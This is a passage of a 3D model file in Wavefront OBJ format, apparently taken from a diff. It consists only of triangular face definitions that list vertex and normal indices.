+f 1073//1073 1097//1073 1098//1073
+f 1074//1074 1098//1074 1099//1074
+f 1075//1075 1099//1075 1100//1075
+f 1076//1076 1100//1076 1101//1076
+f 1077//1077 1101//1077 1102//1077
+f 1078//1078 1102//1078 1103//1078
+f 1103//1079 1104//1079 1080//1079
+f 1080//1080 1104//1080 1081//1080
+f 1105//1081 1106//1081 1082//1081
+f 1106//1082 1107//1082 1083//1082
+f 1083//1083 1107//1083 1108//1083
+f 1084//1084 1108//1084 1109//1084
+f 1085//1085 1109//1085 1110//1085
+f 1086//1086 1110//1086 1111//1086
+f 1111//1087 1112//1087 1088//1087
+f 1088//1088 1112//1088 1113//1088
+f 1089//1089 1113//1089 1114//1089
+f 1090//1090 1114//1090 1115//1090
+f 1115//1091 1116//1091 1092//1091
+f 1116//1092 1117//1092 1093//1092
+f 1117//1093 1118//1093 1094//1093
+f 1118//1094 1119//1094 1095//1094
+f 1119//1095 1120//1095 1096//1095
+f 1120//1096 1121//1096 1097//1096
+f 1121//1097 1122//1097 1098//1097
+f 1122//1098 1123//1098 1099//1098
+f 1123//1099 1124//1099 1100//1099
+f 1124//1100 1125//1100 1101//1100
+f 1125//1101 1126//1101 1102//1101
+f 1126//1102 1127//1102 1103//1102
+f 1127//1103 1128//1103 1104//1103
+f 1104//1104 1128//1104 1105//1104
+f 1105//1105 1129//1105 1130//1105
+f 1130//1106 1131//1106 1107//1106
+f 1131//1107 1132//1107 1108//1107
+f 1132//1108 1133//1108 1109//1108
+f 1133//1109 1134//1109 1110//1109
+f 1134//1110 1135//1110 1111//1110
+f 1135//1111 1136//1111 1112//1111
+f 1136//1112 1137//1112 1113//1112
+f 1137//1113 1138//1113 1114//1113
+f 1138//1114 1139//1114 1115//1114
+f 1139//1115 1140//1115 1116//1115
+f 1140//1116 1141//1116 1117//1116
+f 1141//1117 1142//1117 1118//1117
+f 1118//1118 1142//1118 1143//1118
+f 1119//1119 1143//1119 1144//1119
+f 1120//1120 1144//1120 1145//1120
+f 1121//1121 1145//1121 1146//1121
+f 1122//1122 1146//1122 1147//1122
+f 1123//1123 1147//1123 1148//1123
+f 1148//1124 1149//1124 1125//1124
+f 1125//1125 1149//1125 1150//1125
+f 1126//1126 1150//1126 1151//1126
+f 1151//1127 1152//1127 1128//1127
+f 1152//1128 1129//1128 1105//1128
+f 1153//1129 1154//1129 1130//1129
+f 1130//1130 1154//1130 1155//1130
+f 1155//1131 1156//1131 1132//1131
+f 1156//1132 1157//1132 1133//1132
+f 1157//1133 1158//1133 1134//1133
+f 1158//1134 1159//1134 1135//1134
+f 1135//1135 1159//1135 1160//1135
+f 1160//1136 1161//1136 1137//1136
+f 1161//1137 1162//1137 1138//1137
+f 1162//1138 1163//1138 1139//1138
+f 1139//1139 1163//1139 1164//1139
+f 1164//1140 1165//1140 1141//1140
+f 1165//1141 1166//1141 1142//1141
+f 1166//1142 1167//1142 1143//1142
+f 1143//1143 1167//1143 1168//1143
+f 1168//1144 1169//1144 1145//1144
+f 1145//1145 1169//1145 1170//1145
+f 1170//1146 1171//1146 1147//1146
+f 1147//1147 1171//1147 1172//1147
+f 1148//1148 1172//1148 1173//1148
+f 1149//1149 1173//1149 1174//1149
+f 1150//1150 1174//1150 1175//1150
+f 1175//1151 1176//1151 1152//1151
+f 1176//1152 1153//1152 1129//1152
+f 1153//12 1177//12 1178//12
+f 1154//11 1178//11 1179//11
+f 1155//10 1179//10 1180//10
+f 1180//9 1181//9 1157//9
+f 1181//8 1182//8 1158//8
+f 1182//7 1183//7 1159//7
+f 1183//6 1184//6 1160//6
+f 1160//5 1184//5 1185//5
+f 1161//4 1185//4 1186//4
+f 1186//3 1187//3 1163//3
+f 1187//2 1188//2 1164//2
+f 1188//1 1189//1 1165//1
+f 1165//24 1189//24 1190//24
+f 1166//23 1190//23 1191//23
+f 1191//22 1192//22 1168//22
+f 1192//21 1193//21 1169//21
+f 1193//20 1194//20 1170//20
+f 1170//19 1194//19 1195//19
+f 1171//18 1195//18 1196//18
+f 1172//17 1196//17 1197//17
+f 1197//16 1198//16 1174//16
+f 1198//15 1199//15 1175//15
+f 1199//14 1200//14 1176//14
+f 1200//13 1177//13 1153//13
+f 1201//36 1202//36 1178//36
+f 1202//35 1203//35 1179//35
+f 1179//34 1203//34 1204//34
+f 1180//33 1204//33 1205//33
+f 1181//32 1205//32 1206//32
+f 1182//31 1206//31 1207//31
+f 1207//30 1208//30 1184//30
+f 1184//29 1208//29 1209//29
+f 1185//28 1209//28 1210//28
+f 1186//27 1210//27 1211//27
+f 1187//26 1211//26 1212//26
+f 1188//25 1212//25 1213//25
+f 1213//48 1214//48 1190//48
+f 1214//47 1215//47 1191//47
+f 1215//46 1216//46 1192//46
+f 1216//45 1217//45 1193//45
+f 1217//44 1218//44 1194//44
+f 1218//43 1219//43 1195//43
+f 1219//42 1220//42 1196//42
+f 1220//41 1221//41 1197//41
+f 1221//40 1222//40 1198//40
+f 1222//39 1223//39 1199//39
+f 1223//38 1224//38 1200//38
+f 1224//37 1201//37 1177//37
+f 1225//60 1226//60 1202//60
+f 1226//59 1227//59 1203//59
+f 1227//58 1228//58 1204//58
+f 1228//57 1229//57 1205//57
+f 1229//56 1230//56 1206//56
+f 1230//1153 1231//1153 1207//1153
+f 1231//1154 1232//1154 1208//1154
+f 1232//53 1233//53 1209//53
+f 1233//52 1234//52 1210//52
+f 1234//51 1235//51 1211//51
+f 1235//50 1236//50 1212//50
+f 1236//49 1237//49 1213//49
+f 1237//72 1238//72 1214//72
+f 1238//71 1239//71 1215//71
+f 1239//70 1240//70 1216//70
+f 1216//69 1240//69 1241//69
+f 1217//68 1241//68 1242//68
+f 1242//67 1243//67 1219//67
+f 1219//66 1243//66 1244//66
+f 1220//65 1244//65 1245//65
+f 1221//64 1245//64 1246//64
+f 1222//63 1246//63 1247//63
+f 1247//62 1248//62 1224//62
+f 1248//61 1225//61 1201//61
+f 1225//84 1249//84 1250//84
+f 1250//83 1251//83 1227//83
+f 1227//82 1251//82 1252//82
+f 1228//81 1252//81 1253//81
+f 1229//80 1253//80 1254//80
+f 1230//79 1254//79 1255//79
+f 1231//78 1255//78 1256//78
+f 1232//77 1256//77 1257//77
+f 1233//76 1257//76 1258//76
+f 1258//75 1259//75 1235//75
+f 1235//74 1259//74 1260//74
+f 1260//73 1261//73 1237//73
+f 1261//96 1262//96 1238//96
+f 1262//95 1263//95 1239//95
+f 1239//94 1263//94 1264//94
+f 1264//93 1265//93 1241//93
+f 1265//92 1266//92 1242//92
+f 1266//91 1267//91 1243//91
+f 1267//90 1268//90 1244//90
+f 1268//89 1269//89 1245//89
+f 1269//88 1270//88 1246//88
+f 1270//87 1271//87 1247//87
+f 1247//86 1271//86 1272//86
+f 1272//85 1249//85 1225//85
+f 1273//108 1274//108 1250//108
+f 1250//107 1274//107 1275//107
+f 1251//106 1275//106 1276//106
+f 1276//105 1277//105 1253//105
+f 1253//104 1277//104 1278//104
+f 1254//103 1278//103 1279//103
+f 1255//102 1279//102 1280//102
+f 1280//101 1281//101 1257//101
+f 1281//100 1282//100 1258//100
+f 1282//99 1283//99 1259//99
+f 1259//98 1283//98 1284//98
+f 1284//97 1285//97 1261//97
+f 1285//120 1286//120 1262//120
+f 1286//119 1287//119 1263//119
+f 1263//118 1287//118 1288//118
+f 1264//117 1288//117 1289//117
+f 1265//116 1289//116 1290//116
+f 1290//115 1291//115 1267//115
+f 1291//114 1292//114 1268//114
+f 1292//113 1293//113 1269//113
+f 1269//112 1293//112 1294//112
+f 1294//111 1295//111 1271//111
+f 1295//110 1296//110 1272//110
+f 1272//109 1296//109 1273//109
+f 1297//132 1298//132 1274//132
+f 1274//131 1298//131 1299//131
+f 1299//130 1300//130 1276//130
+f 1300//129 1301//129 1277//129
+f 1301//128 1302//128 1278//128
+f 1302//127 1303//127 1279//127
+f 1303//126 1304//126 1280//126
+f 1304//125 1305//125 1281//125
+f 1305//124 1306//124 1282//124
+f 1306//123 1307//123 1283//123
+f 1307//122 1308//122 1284//122
+f 1308//121 1309//121 1285//121
+f 1285//144 1309//144 1310//144
+f 1310//143 1311//143 1287//143
+f 1287//142 1311//142 1312//142
+f 1288//141 1312//141 1313//141
+f 1289//140 1313//140 1314//140
+f 1290//139 1314//139 1315//139
+f 1291//138 1315//138 1316//138
+f 1292//137 1316//137 1317//137
+f 1317//136 1318//136 1294//136
+f 1294//135 1318//135 1319//135
+f 1319//134 1320//134 1296//134
+f 1296//133 1320//133 1297//133
+f 1297//156 1321//156 1322//156
+f 1298//155 1322//155 1323//155
+f 1323//154 1324//154 1300//154
+f 1300//153 1324//153 1325//153
+f 1325//152 1326//152 1302//152
+f 1302//151 1326//151 1327//151
+f 1303//150 1327//150 1328//150
+f 1304//149 1328//149 1329//149
+f 1305//148 1329//148 1330//148
+f 1306//147 1330//147 1331//147
+f 1307//146 1331//146 1332//146
+f 1308//145 1332//145 1333//145
+f 1333//168 1334//168 1310//168
+f 1334//167 1335//167 1311//167
+f 1335//166 1336//166 1312//166
+f 1336//165 1337//165 1313//165
+f 1337//164 1338//164 1314//164
+f 1314//163 1338//163 1339//163
+f 1339//162 1340//162 1316//162
+f 1316//161 1340//161 1341//161
+f 1341//160 1342//160 1318//160
+f 1342//159 1343//159 1319//159
+f 1343//158 1344//158 1320//158
+f 1344//157 1321//157 1297//157
+f 1345//180 1346//180 1322//180
+f 1346//179 1347//179 1323//179
+f 1347//178 1348//178 1324//178
+f 1348//177 1349//177 1325//177
+f 1325//176 1349//176 1350//176
+f 1326//175 1350//175 1351//175
+f 1327//174 1351//174 1352//174
+f 1328//173 1352//173 1353//173
+f 1353//172 1354//172 1330//172
+f 1330//171 1354//171 1355//171
+f 1355//1155 1356//1155 1332//1155
+f 1356//169 1357//169 1333//169
+f 1357//192 1358//192 1334//192
+f 1358//191 1359//191 1335//191
+f 1359//190 1360//190 1336//190
+f 1360//189 1361//189 1337//189
+f 1361//188 1362//188 1338//188
+f 1362//187 1363//187 1339//187
+f 1363//186 1364//186 1340//186
+f 1364//185 1365//185 1341//185
+f 1365//184 1366//184 1342//184
+f 1342//183 1366//183 1367//183
+f 1343//182 1367//182 1368//182
+f 1368//181 1345//181 1321//181
+f 1369//204 1370//204 1346//204
+f 1370//203 1371//203 1347//203
+f 1371//202 1372//202 1348//202
+f 1372//201 1373//201 1349//201
+f 1373//200 1374//200 1350//200
+f 1350//199 1374//199 1375//199
+f 1375//198 1376//198 1352//198
+f 1376//197 1377//197 1353//197
+f 1377//196 1378//196 1354//196
+f 1378//1156 1379//1156 1355//1156
+f 1379//194 1380//194 1356//194
+f 1356//193 1380//193 1381//193
+f 1381//216 1382//216 1358//216
+f 1358//215 1382//215 1383//215
+f 1359//1157 1383//1157 1384//1157
+f 1360//213 1384//213 1385//213
+f 1361//212 1385//212 1386//212
+f 1362//211 1386//211 1387//211
+f 1387//210 1388//210 1364//210
+f 1364//209 1388//209 1389//209
+f 1365//208 1389//208 1390//208
+f 1366//207 1390//207 1391//207
+f 1367//206 1391//206 1392//206
+f 1392//205 1369//205 1345//205
+f 1393//228 1394//228 1370//228
+f 1394//227 1395//227 1371//227
+f 1371//226 1395//226 1396//226
+f 1396//225 1397//225 1373//225
+f 1397//224 1398//224 1374//224
+f 1374//223 1398//223 1399//223
+f 1399//222 1400//222 1376//222
+f 1376//221 1400//221 1401//221
+f 1401//220 1402//220 1378//220
+f 1378//219 1402//219 1403//219
+f 1403//218 1404//218 1380//218
+f 1404//217 1405//217 1381//217
+f 1405//240 1406//240 1382//240
+f 1406//239 1407//239 1383//239
+f 1407//238 1408//238 1384//238
+f 1384//237 1408//237 1409//237
+f 1409//236 1410//236 1386//236
+f 1410//235 1411//235 1387//235
+f 1411//234 1412//234 1388//234
+f 1388//233 1412//233 1413//233
+f 1413//232 1414//232 1390//232
+f 1414//231 1415//231 1391//231
+f 1391//230 1415//230 1416//230
+f 1392//229 1416//229 1393//229
+f 1417//252 1418//252 1394//252
+f 1418//251 1419//251 1395//251
+f 1395//250 1419//250 1420//250
+f 1420//249 1421//249 1397//249
+f 1397//248 1421//248 1422//248
+f 1398//247 1422//247 1423//247
+f 1423//246 1424//246 1400//246
+f 1400//245 1424//245 1425//245
+f 1401//244 1425//244 1426//244
+f 1426//243 1427//243 1403//243
+f 1403//242 1427//242 1428//242
+f 1404//241 1428//241 1429//241
+f 1429//264 1430//264 1406//264
+f 1430//263 1431//263 1407//263
+f 1407//262 1431//262 1432//262
+f 1432//261 1433//261 1409//261
+f 1433//260 1434//260 1410//260
+f 1410//259 1434//259 1435//259
+f 1435//258 1436//258 1412//258
+f 1436//257 1437//257 1413//257
+f 1413//256 1437//256 1438//256
+f 1438//255 1439//255 1415//255
+f 1439//254 1440//254 1416//254
+f 1440//253 1417//253 1393//253
+f 1417//1158 1441//1158 1442//1158
+f 1442//275 1443//275 1419//275
+f 1419//274 1443//274 1444//274
+f 1444//273 1445//273 1421//273
+f 1445//272 1446//272 1422//272
+f 1422//271 1446//271 1447//271
+f 1423//270 1447//270 1448//270
+f 1448//269 1449//269 1425//269
+f 1425//268 1449//268 1450//268
+f 1450//267 1451//267 1427//267
+f 1427//266 1451//266 1452//266
+f 1452//1159 1453//1159 1429//1159
+f 1429//1160 1453//1160 1454//1160
+f 1430//287 1454//287 1455//287
+f 1431//286 1455//286 1456//286
+f 1432//285 1456//285 1457//285
+f 1457//284 1458//284 1434//284
+f 1458//283 1459//283 1435//283
+f 1459//282 1460//282 1436//282
+f 1460//281 1461//281 1437//281
+f 1437//280 1461//280 1462//280
+f 1462//279 1463//279 1439//279
+f 1439//278 1463//278 1464//278
+f 1464//277 1441//277 1417//277
+f 1441//300 1465//300 1466//300
+f 1466//299 1467//299 1443//299
+f 1467//298 1468//298 1444//298
+f 1468//297 1469//297 1445//297
+f 1469//296 1470//296 1446//296
+f 1470//295 1471//295 1447//295
+f 1471//294 1472//294 1448//294
+f 1472//293 1473//293 1449//293
+f 1473//292 1474//292 1450//292
+f 1474//291 1475//291 1451//291
+f 1451//290 1475//290 1476//290
+f 1452//289 1476//289 1477//289
+f 1477//312 1478//312 1454//312
+f 1478//311 1479//311 1455//311
+f 1479//310 1480//310 1456//310
+f 1456//309 1480//309 1481//309
+f 1481//308 1482//308 1458//308
+f 1482//307 1483//307 1459//307
+f 1483//306 1484//306 1460//306
+f 1460//305 1484//305 1485//305
+f 1461//304 1485//304 1486//304
+f 1462//303 1486//303 1487//303
+f 1463//302 1487//302 1488//302
+f 1488//301 1465//301 1441//301
+f 1465//1161 1489//1161 1490//1161
+f 1490//1162 1491//1162 1467//1162
+f 1467//322 1491//322 1492//322
+f 1468//321 1492//321 1493//321
+f 1469//320 1493//320 1494//320
+f 1470//319 1494//319 1495//319
+f 1471//318 1495//318 1496//318
+f 1472//317 1496//317 1497//317
+f 1473//316 1497//316 1498//316
+f 1474//315 1498//315 1499//315
+f 1475//1163 1499//1163 1500//1163
+f 1500//313 1501//313 1477//313
+f 1501//336 1502//336 1478//336
+f 1502//1164 1503//1164 1479//1164
+f 1503//334 1504//334 1480//334
+f 1504//333 1505//333 1481//333
+f 1505//332 1506//332 1482//332
+f 1506//331 1507//331 1483//331
+f 1507//330 1508//330 1484//330
+f 1508//329 1509//329 1485//329
+f 1509//328 1510//328 1486//328
+f 1510//327 1511//327 1487//327
+f 1511//1165 1512//1165 1488//1165
+f 1512//1166 1489//1166 1465//1166
+f 1513//348 1514//348 1490//348
+f 1490//347 1514//347 1515//347
+f 1515//346 1516//346 1492//346
+f 1492//345 1516//345 1517//345
+f 1517//344 1518//344 1494//344
+f 1518//343 1519//343 1495//343
+f 1519//342 1520//342 1496//342
+f 1520//341 1521//341 1497//341
+f 1521//340 1522//340 1498//340
+f 1522//339 1523//339 1499//339
+f 1523//338 1524//338 1500//338
+f 1524//337 1525//337 1501//337
+f 1525//360 1526//360 1502//360
+f 1502//359 1526//359 1527//359
+f 1503//358 1527//358 1528//358
+f 1504//357 1528//357 1529//357
+f 1505//356 1529//356 1530//356
+f 1530//355 1531//355 1507//355
+f 1507//354 1531//354 1532//354
+f 1508//353 1532//353 1533//353
+f 1533//352 1534//352 1510//352
+f 1510//351 1534//351 1535//351
+f 1535//350 1536//350 1512//350
+f 1512//349 1536//349 1513//349
+f 1537//372 1538//372 1514//372
+f 1514//371 1538//371 1539//371
+f 1539//370 1540//370 1516//370
+f 1516//369 1540//369 1541//369
+f 1541//368 1542//368 1518//368
+f 1518//367 1542//367 1543//367
+f 1519//366 1543//366 1544//366
+f 1520//365 1544//365 1545//365
+f 1545//364 1546//364 1522//364
+f 1546//1167 1547//1167 1523//1167
+f 1523//362 1547//362 1548//362
+f 1524//361 1548//361 1549//361
+f 1549//384 1550//384 1526//384
+f 1550//383 1551//383 1527//383
+f 1551//382 1552//382 1528//382
+f 1552//381 1553//381 1529//381
+f 1553//380 1554//380 1530//380
+f 1554//379 1555//379 1531//379
+f 1555//378 1556//378 1532//378
+f 1556//377 1557//377 1533//377
+f 1557//376 1558//376 1534//376
+f 1534//375 1558//375 1559//375
+f 1559//374 1560//374 1536//374
+f 1536//373 1560//373 1537//373
+f 1537//396 1561//396 1562//396
+f 1562//395 1563//395 1539//395
+f 1563//394 1564//394 1540//394
+f 1540//393 1564//393 1565//393
+f 1565//392 1566//392 1542//392
+f 1566//391 1567//391 1543//391
+f 1567//390 1568//390 1544//390
+f 1568//389 1569//389 1545//389
+f 1569//388 1570//388 1546//388
+f 1570//387 1571//387 1547//387
+f 1547//386 1571//386 1572//386
+f 1548//385 1572//385 1573//385
+f 1573//408 1574//408 1550//408
+f 1574//407 1575//407 1551//407
+f 1551//406 1575//406 1576//406
+f 1552//405 1576//405 1577//405
+f 1553//404 1577//404 1578//404
+f 1554//403 1578//403 1579//403
+f 1579//402 1580//402 1556//402
+f 1556//401 1580//401 1581//401
+f 1581//400 1582//400 1558//400
+f 1558//399 1582//399 1583//399
+f 1559//398 1583//398 1584//398
+f 1560//397 1584//397 1561//397
+f 1561//420 1585//420 1586//420
+f 1586//419 1587//419 1563//419
+f 1563//418 1587//418 1588//418
+f 1564//417 1588//417 1589//417
+f 1565//416 1589//416 1590//416
+f 1590//415 1591//415 1567//415
+f 1591//414 1592//414 1568//414
+f 1592//413 1593//413 1569//413
+f 1569//412 1593//412 1594//412
+f 1594//411 1595//411 1571//411
+f 1571//410 1595//410 1596//410
+f 1572//409 1596//409 1597//409
+f 1597//432 1598//432 1574//432
+f 1598//431 1599//431 1575//431
+f 1575//430 1599//430 1600//430
+f 1576//429 1600//429 1601//429
+f 1577//428 1601//428 1602//428
+f 1602//427 1603//427 1579//427
+f 1579//426 1603//426 1604//426
+f 1604//425 1605//425 1581//425
+f 1605//424 1606//424 1582//424
+f 1606//423 1607//423 1583//423
+f 1583//422 1607//422 1608//422
+f 1584//421 1608//421 1585//421
+f 1609//444 1610//444 1586//444
+f 1610//443 1611//443 1587//443
+f 1587//442 1611//442 1612//442
+f 1612//441 1613//441 1589//441
+f 1589//440 1613//440 1614//440
+f 1614//439 1615//439 1591//439
+f 1591//438 1615//438 1616//438
+f 1592//437 1616//437 1617//437
+f 1593//436 1617//436 1618//436
+f 1618//1168 1619//1168 1595//1168
+f 1619//434 1620//434 1596//434
+f 1620//433 1621//433 1597//433
+f 1597//456 1621//456 1622//456
+f 1622//455 1623//455 1599//455
+f 1599//1169 1623//1169 1624//1169
+f 1624//453 1625//453 1601//453
+f 1625//452 1626//452 1602//452
+f 1626//451 1627//451 1603//451
+f 1627//450 1628//450 1604//450
+f 1604//449 1628//449 1629//449
+f 1605//448 1629//448 1630//448
+f 1630//447 1631//447 1607//447
+f 1607//446 1631//446 1632//446
+f 1608//445 1632//445 1609//445
+f 1609//468 1633//468 1634//468
+f 1634//467 1635//467 1611//467
+f 1611//466 1635//466 1636//466
+f 1636//465 1637//465 1613//465
+f 1637//464 1638//464 1614//464
+f 1614//463 1638//463 1639//463
+f 1639//462 1640//462 1616//462
+f 1616//461 1640//461 1641//461
+f 1641//460 1642//460 1618//460
+f 1618//459 1642//459 1643//459
+f 1643//458 1644//458 1620//458
+f 1644//457 1645//457 1621//457
+f 1621//480 1645//480 1646//480
+f 1646//479 1647//479 1623//479
+f 1647//478 1648//478 1624//478
+f 1648//477 1649//477 1625//477
+f 1649//476 1650//476 1626//476
+f 1626//475 1650//475 1651//475
+f 1651//474 1652//474 1628//474
+f 1628//473 1652//473 1653//473
+f 1653//472 1654//472 1630//472
+f 1654//471 1655//471 1631//471
+f 1631//470 1655//470 1656//470
+f 1656//469 1633//469 1609//469
+f 1657//492 1658//492 1634//492
+f 1658//491 1659//491 1635//491
+f 1635//490 1659//490 1660//490
+f 1636//489 1660//489 1661//489
+f 1661//488 1662//488 1638//488
+f 1662//487 1663//487 1639//487
+f 1639//486 1663//486 1664//486
+f 1640//485 1664//485 1665//485
+f 1665//484 1666//484 1642//484
+f 1666//483 1667//483 1643//483
+f 1643//482 1667//482 1668//482
+f 1644//481 1668//481 1669//481
+f 1669//504 1670//504 1646//504
+f 1670//503 1671//503 1647//503
+f 1671//502 1672//502 1648//502
+f 1648//501 1672//501 1673//501
+f 1673//500 1674//500 1650//500
+f 1674//499 1675//499 1651//499
+f 1651//498 1675//498 1676//498
+f 1652//497 1676//497 1677//497
+f 1677//496 1678//496 1654//496
+f 1678//495 1679//495 1655//495
+f 1655//494 1679//494 1680//494
+f 1680//493 1657//493 1633//493
+f 1681//516 1682//516 1658//516
+f 1682//515 1683//515 1659//515
+f 1683//514 1684//514 1660//514
+f 1684//513 1685//513 1661//513
+f 1685//512 1686//512 1662//512
+f 1662//511 1686//511 1687//511
+f 1687//510 1688//510 1664//510
+f 1664//509 1688//509 1689//509
+f 1689//508 1690//508 1666//508
+f 1690//507 1691//507 1667//507
+f 1691//506 1692//506 1668//506
+f 1692//505 1693//505 1669//505
+f 1669//528 1693//528 1694//528
+f 1670//527 1694//527 1695//527
+f 1695//526 1696//526 1672//526
+f 1672//525 1696//525 1697//525
+f 1697//524 1698//524 1674//524
+f 1674//523 1698//523 1699//523
+f 1699//522 1700//522 1676//522
+f 1676//521 1700//521 1701//521
+f 1677//520 1701//520 1702//520
+f 1678//519 1702//519 1703//519
+f 1679//518 1703//518 1704//518
+f 1680//517 1704//517 1681//517
+f 1705//540 1706//540 1682//540
+f 1682//539 1706//539 1707//539
+f 1683//538 1707//538 1708//538
+f 1708//537 1709//537 1685//537
+f 1685//536 1709//536 1710//536
+f 1710//535 1711//535 1687//535
+f 1711//534 1712//534 1688//534
+f 1688//533 1712//533 1713//533
+f 1713//532 1714//532 1690//532
+f 1690//531 1714//531 1715//531
+f 1715//530 1716//530 1692//530
+f 1716//529 1717//529 1693//529
+f 1693//552 1717//552 1718//552
+f 1694//551 1718//551 1719//551
+f 1719//550 1720//550 1696//550
+f 1720//549 1721//549 1697//549
+f 1721//548 1722//548 1698//548
+f 1698//547 1722//547 1723//547
+f 1699//546 1723//546 1724//546
+f 1724//545 1725//545 1701//545
+f 1701//544 1725//544 1726//544
+f 1726//543 1727//543 1703//543
+f 1727//542 1728//542 1704//542
+f 1704//541 1728//541 1705//541
+f 1729//1170 1730//1170 1706//1170
+f 1730//563 1731//563 1707//563
+f 1707//562 1731//562 1732//562
+f 1708//561 1732//561 1733//561
+f 1709//560 1733//560 1734//560
+f 1734//559 1735//559 1711//559
+f 1711//558 1735//558 1736//558
+f 1712//557 1736//557 1737//557
+f 1713//556 1737//556 1738//556
+f 1738//555 1739//555 1715//555
+f 1739//554 1740//554 1716//554
+f 1716//553 1740//553 1741//553
+f 1741//576 1742//576 1718//576
+f 1718//575 1742//575 1743//575
+f 1743//574 1744//574 1720//574
+f 1720//573 1744//573 1745//573
+f 1745//572 1746//572 1722//572
+f 1746//571 1747//571 1723//571
+f 1723//570 1747//570 1748//570
+f 1748//569 1749//569 1725//569
+f 1749//568 1750//568 1726//568
+f 1750//567 1751//567 1727//567
+f 1727//566 1751//566 1752//566
+f 1728//1171 1752//1171 1729//1171
+f 1753//588 1754//588 1730//588
+f 1754//587 1755//587 1731//587
+f 1731//586 1755//586 1756//586
+f 1756//585 1757//585 1733//585
+f 1757//584 1758//584 1734//584
+f 1758//583 1759//583 1735//583
+f 1759//582 1760//582 1736//582
+f 1760//581 1761//581 1737//581
+f 1761//580 1762//580 1738//580
+f 1738//579 1762//579 1763//579
+f 1763//578 1764//578 1740//578
+f 1740//577 1764//577 1765//577
+f 1765//600 1766//600 1742//600
+f 1742//599 1766//599 1767//599
+f 1767//598 1768//598 1744//598
+f 1744//597 1768//597 1769//597
+f 1745//596 1769//596 1770//596
+f 1746//595 1770//595 1771//595
+f 1747//594 1771//594 1772//594
+f 1772//593 1773//593 1749//593
+f 1749//592 1773//592 1774//592
+f 1774//591 1775//591 1751//591
+f 1751//590 1775//590 1776//590
+f 1776//589 1753//589 1729//589
+f 1777//612 1778//612 1754//612
+f 1778//611 1779//611 1755//611
+f 1779//610 1780//610 1756//610
+f 1756//609 1780//609 1781//609
+f 1781//608 1782//608 1758//608
+f 1758//607 1782//607 1783//607
+f 1783//606 1784//606 1760//606
+f 1760//605 1784//605 1785//605
+f 1761//604 1785//604 1786//604
+f 1786//603 1787//603 1763//603
+f 1787//602 1788//602 1764//602
+f 1764//601 1788//601 1789//601
+f 1789//624 1790//624 1766//624
+f 1766//623 1790//623 1791//623
+f 1767//622 1791//622 1792//622
+f 1792//621 1793//621 1769//621
+f 1793//620 1794//620 1770//620
+f 1770//619 1794//619 1795//619
+f 1795//618 1796//618 1772//618
+f 1796//617 1797//617 1773//617
+f 1797//616 1798//616 1774//616
+f 1798//615 1799//615 1775//615
+f 1775//614 1799//614 1800//614
+f 1776//613 1800//613 1777//613
+f 1777//636 1801//636 1802//636
+f 1802//635 1803//635 1779//635
+f 1803//634 1804//634 1780//634
+f 1780//633 1804//633 1805//633
+f 1781//632 1805//632 1806//632
+f 1782//1172 1806//1172 1807//1172
+f 1807//630 1808//630 1784//630
+f 1808//629 1809//629 1785//629
+f 1809//628 1810//628 1786//628
+f 1786//627 1810//627 1811//627
+f 1811//626 1812//626 1788//626
+f 1788//625 1812//625 1813//625
+f 1813//648 1814//648 1790//648
+f 1814//647 1815//647 1791//647
+f 1815//646 1816//646 1792//646
+f 1816//645 1817//645 1793//645
+f 1793//644 1817//644 1818//644
+f 1818//643 1819//643 1795//643
+f 1819//642 1820//642 1796//642
+f 1820//641 1821//641 1797//641
+f 1821//640 1822//640 1798//640
+f 1798//639 1822//639 1823//639
+f 1799//638 1823//638 1824//638
+f 1824//637 1801//637 1777//637
+f 1801//660 1825//660 1826//660
+f 1826//659 1827//659 1803//659
+f 1827//658 1828//658 1804//658
+f 1804//657 1828//657 1829//657
+f 1829//656 1830//656 1806//656
+f 1830//655 1831//655 1807//655
+f 1831//654 1832//654 1808//654
+f 1832//653 1833//653 1809//653
+f 1833//652 1834//652 1810//652
+f 1834//651 1835//651 1811//651
+f 1835//650 1836//650 1812//650
+f 1836//649 1837//649 1813//649
+f 1813//672 1837//672 1838//672
+f 1814//671 1838//671 1839//671
+f 1815//670 1839//670 1840//670
+f 1816//669 1840//669 1841//669
+f 1817//668 1841//668 1842//668
+f 1818//667 1842//667 1843//667
+f 1819//666 1843//666 1844//666
+f 1820//665 1844//665 1845//665
+f 1845//664 1846//664 1822//664
+f 1822//663 1846//663 1847//663
+f 1823//662 1847//662 1848//662
+f 1848//661 1825//661 1801//661
+f 1825//684 1849//684 1850//684
+f 1850//683 1851//683 1827//683
+f 1851//682 1852//682 1828//682
+f 1828//681 1852//681 1853//681
+f 1829//680 1853//680 1854//680
+f 1830//679 1854//679 1855//679
+f 1831//678 1855//678 1856//678
+f 1856//677 1857//677 1833//677
+f 1833//676 1857//676 1858//676
+f 1834//675 1858//675 1859//675
+f 1859//674 1860//674 1836//674
+f 1860//673 1861//673 1837//673
+f 1837//696 1861//696 1862//696
+f 1838//695 1862//695 1863//695
+f 1863//694 1864//694 1840//694
+f 1864//693 1865//693 1841//693
+f 1841//692 1865//692 1866//692
+f 1866//691 1867//691 1843//691
+f 1843//690 1867//690 1868//690
+f 1868//689 1869//689 1845//689
+f 1869//688 1870//688 1846//688
+f 1846//687 1870//687 1871//687
+f 1847//686 1871//686 1872//686
+f 1872//685 1849//685 1825//685
+f 1873//708 1874//708 1850//708
+f 1874//707 1875//707 1851//707
+f 1875//1173 1876//1173 1852//1173
+f 1876//705 1877//705 1853//705
+f 1853//704 1877//704 1878//704
+f 1878//703 1879//703 1855//703
+f 1855//702 1879//702 1880//702
+f 1880//701 1881//701 1857//701
+f 1881//700 1882//700 1858//700
+f 1882//1174 1883//1174 1859//1174
+f 1883//698 1884//698 1860//698
+f 1860//697 1884//697 1885//697
+f 1885//720 1886//720 1862//720
+f 1862//719 1886//719 1887//719
+f 1863//1175 1887//1175 1888//1175
+f 1864//717 1888//717 1889//717
+f 1865//716 1889//716 1890//716
+f 1890//715 1891//715 1867//715
+f 1867//714 1891//714 1892//714
+f 1892//713 1893//713 1869//713
+f 1869//712 1893//712 1894//712
+f 1870//1176 1894//1176 1895//1176
+f 1895//710 1896//710 1872//710
+f 1896//709 1873//709 1849//709
+f 1897//732 1898//732 1874//732
+f 1874//731 1898//731 1899//731
+f 1875//730 1899//730 1900//730
+f 1876//729 1900//729 1901//729
+f 1877//728 1901//728 1902//728
+f 1878//727 1902//727 1903//727
+f 1879//726 1903//726 1904//726
+f 1880//725 1904//725 1905//725
+f 1905//724 1906//724 1882//724
+f 1882//723 1906//723 1907//723
+f 1883//722 1907//722 1908//722
+f 1908//721 1909//721 1885//721
+f 1909//744 1910//744 1886//744
+f 1910//743 1911//743 1887//743
+f 1911//742 1912//742 1888//742
+f 1912//741 1913//741 1889//741
